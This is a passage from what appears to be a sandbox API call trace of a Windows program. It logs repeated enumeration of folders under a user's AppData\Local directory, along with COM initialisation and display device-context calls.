lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x3c [0220.425] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd7f0) returned 1 [0220.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0220.428] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x31 [0220.428] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0220.428] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.429] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 1 [0220.429] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 0 [0220.429] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0220.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0220.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0220.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0220.429] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x31 [0220.429] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0220.430] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40a64b1d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.430] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 1 [0220.430] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.430] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0220.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0220.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0220.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0220.431] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x3a [0220.431] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0220.431] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.431] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x19242e31, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0220.431] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8db19be0, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x19242e31, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0220.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c9633f1, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB00007.log", cAlternateFileName="")) returned 1 [0220.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0220.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0220.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a8cb5a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xbe85c798, ftLastWriteTime.dwHighDateTime=0x1d85953, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0220.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b6fbaa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40b6fbaa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2fbc253d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0220.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.433] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0220.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0220.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0220.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0220.433] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x3a [0220.433] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0220.433] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2c945d07, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x2c945d07, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.434] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x19242e31, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0220.434] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8db19be0, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x19242e31, ftLastWriteTime.dwHighDateTime=0x1d9b55d, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0220.434] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a64b1d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c9633f1, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB00007.log", cAlternateFileName="")) returned 1 [0220.434] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0220.434] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ab0ffe, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40ab0ffe, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40ab0ffe, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0220.435] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a64b1d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40a8cb5a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xbe85c798, ftLastWriteTime.dwHighDateTime=0x1d85953, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0220.435] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b6fbaa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40b6fbaa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2fbc253d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0220.435] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b6fbaa, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40b6fbaa, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2fbc253d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 0 [0220.435] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0220.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0220.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0220.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0220.436] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x30 [0220.436] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0220.436] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.436] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.436] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0220.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0220.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0220.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0220.437] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x30 [0220.437] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0220.437] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.437] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5599aefd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x5599aefd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x5599aefd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.437] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0220.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0220.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0245.077] CoUninitialize () Thread: id = 317 os_tid = 0xed8 [0188.126] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0188.128] CoGetContextToken (in: pToken=0x1e1df570 | out: pToken=0x1e1df570) returned 0x0 [0188.128] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e1df5a8 | out: ppvObject=0x1e1df5a8*=0x4b0108) returned 0x0 [0188.128] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1e1df618 | out: pThreadType=0x1e1df618*=0) returned 0x0 [0188.128] IUnknown:Release (This=0x4b0108) returned 0x1 [0188.128] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0188.128] CoUninitialize () [0188.128] RoInitialize () returned 0x1 [0188.128] RoUninitialize () returned 0x0 [0193.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DISPLAY", cchWideChar=7, lpMultiByteStr=0x1e1dea50, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DISPLAY", lpUsedDefaultChar=0x0) returned 7 [0193.646] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1301097b [0193.647] CoTaskMemFree (pv=0x0) [0193.647] CoTaskMemFree (pv=0x0) [0194.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\\\.\\DISPLAY1", cchWideChar=12, 